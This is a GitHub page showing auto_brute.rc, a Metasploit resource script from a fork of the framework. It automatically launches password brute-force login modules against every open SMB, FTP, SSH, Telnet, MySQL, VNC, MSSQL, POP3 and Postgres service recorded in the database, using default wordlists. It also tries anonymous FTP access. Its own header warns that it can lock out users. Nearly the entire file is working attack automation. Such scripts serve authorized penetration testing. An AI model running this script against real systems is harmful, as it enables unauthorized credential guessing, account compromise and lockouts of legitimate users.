forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathauto_brute.rc
273 lines (249 loc) · 7.09 KB
/
auto_brute.rc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
# auto_brute.rc
# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de)
# This Metasploit RC-File could be used to automate the bruteforce process
# the services are used from the already discovered service details of the database
# for this we need the service names in the db!
# VERBOSE is used from the global datastore
# THREADS is used from the global datastore
# USER_FILE and PASS_File is used from the global datastore
# WARNING: You could lock out users with this resource script!
<ruby>
#throttling if we get too much jobs
maxjobs = 8
wordlistpath = "#{Msf::Config.install_root}/data/wordlists"
if (framework.datastore['USER_FILE'] == nil)
# we are using the default unix wordlists
run_single("setg USER_FILE #{wordlistpath}/unix_users.txt")
end
if (framework.datastore['PASS_FILE'] == nil)
# we are using the default unix wordlists
run_single("setg PASS_FILE #{wordlistpath}/unix_passwords.txt")
end
if (framework.datastore['THREADS'] == nil)
#default to 10 Threads
run_single("setg THREADS 10")
end
if (framework.datastore['VERBOSE'] == "true")
#we look in the global datastore for a global VERBOSE option and use it
verbose = 1
else
verbose = 0
end
# Test and see if we have a database connected
begin
framework.db.hosts
rescue ::ActiveRecord::ConnectionNotEstablished
print_error("Database connection isn't established")
return
end
def jobwaiting(maxjobs,verbose) #thread handling for poor guys
while(framework.jobs.keys.length >= maxjobs)
::IO.select(nil, nil, nil, 2.5)
if(verbose == 1)
jobs_len = framework.jobs.keys.length
threads_len = framework.threads.length
print_error("Waiting... active jobs: #{jobs_len} / threads: #{threads_len}")
end
end
end
def infos(serv,host)
print_line("")
print_line("====================================")
print_line("IP: #{host.address}")
print_line("OS: #{host.os_name}")
print_line("Servicename: #{serv.name}")
print_line("Service Port: #{serv.port.to_i}")
print_line("Service Protocol: #{serv.proto}")
print_line("====================================")
print_line("")
end
framework.db.hosts.each do |host|
host.services.each do |serv|
next if not serv.host
next if (serv.state != ServiceState::Open)
# for now we only brute force these services, you can add some more ...
next if not (serv.name =~ /smb/ or
serv.name =~ /microsoft-ds/ or
serv.name =~ /netbios-ssn/ or
serv.name =~ /ftp/ or
serv.name =~ /ssh/ or
serv.name =~ /telnet/ or
serv.name =~ /mysql/ or
serv.name =~ /vnc/ or
serv.name =~ /mssql/ or
serv.name =~ /pop3/ or
serv.name =~ /postgres/)
xport = serv.port.to_i
xprot = serv.proto
xname = serv.name
oname = host.os_name
xhost = host.address
if(xname =~ /smb/ or xname =~ /microsoft-ds/ or xname =~ /netbios-ssn/)
if(verbose == 1)
infos(serv,host)
end
print_line("smb_login")
run_single("use auxiliary/scanner/smb/smb_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
run_single("back")
jobwaiting(maxjobs,verbose)
elsif(xname =~ /ftp/)
if(verbose == 1)
infos(serv,host)
end
print_line("ftp_anonymous")
run_single("use auxiliary/scanner/ftp/anonymous")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
run_single("back")
jobwaiting(maxjobs,verbose)
print_line("ftp_login")
run_single("use auxiliary/scanner/ftp/ftp_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
run_single("back")
jobwaiting(maxjobs,verbose)
elsif(xname =~ /ssh/)
if(verbose == 1)
infos(serv,host)
end
print_line("ssh_login")
run_single("use auxiliary/scanner/ssh/ssh_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
run_single("back")
jobwaiting(maxjobs,verbose)
elsif(xname =~ /telnet/)
if(verbose == 1)
infos(serv,host)
end
print_line("telnet_login")
run_single("use auxiliary/scanner/telnet/telnet_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
run_single("back")
jobwaiting(maxjobs,verbose)
elsif(xname =~ /mysql/)
if(verbose == 1)
infos(serv,host)
end
print_line("mysql_login")
run_single("use auxiliary/scanner/mysql/mysql_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
run_single("back")
jobwaiting(maxjobs,verbose)
elsif(xname =~ /vnc/)
if(verbose == 1)
infos(serv,host)
end
print_line("vnc_login")
run_single("use auxiliary/scanner/vnc/vnc_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
run_single("unsetg USER_FILE")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
run_single("back")
jobwaiting(maxjobs,verbose)
elsif(xname =~ /mssql/ or xname =~ /ms-sql/)
if(verbose == 1)
infos(serv,host)
end
print_line("mssql_login")
run_single("use auxiliary/scanner/mssql/mssql_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
run_single("unsetg USER_FILE")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
run_single("back")
jobwaiting(maxjobs,verbose)
elsif(xname =~ /pop3/)
if(verbose == 1)
infos(serv,host)
end
print_line("pop3_login")
run_single("use auxiliary/scanner/pop3/pop3_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
run_single("unsetg USER_FILE")
run_single("unsetg PASS_FILE")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
run_single("back")
jobwaiting(maxjobs,verbose)
elsif(xname =~ /postgres/)
if(verbose == 1)
infos(serv,host)
end
print_line("postgres_login")
run_single("use auxiliary/scanner/postgres/postgres_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
run_single("unsetg USER_FILE")
run_single("unsetg PASS_FILE")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
run_single("back")
jobwaiting(maxjobs,verbose)
else
print_error("no supported service found")
end
end #host.services.each loop
end #framework.db.hosts.each loop
</ruby>
jobs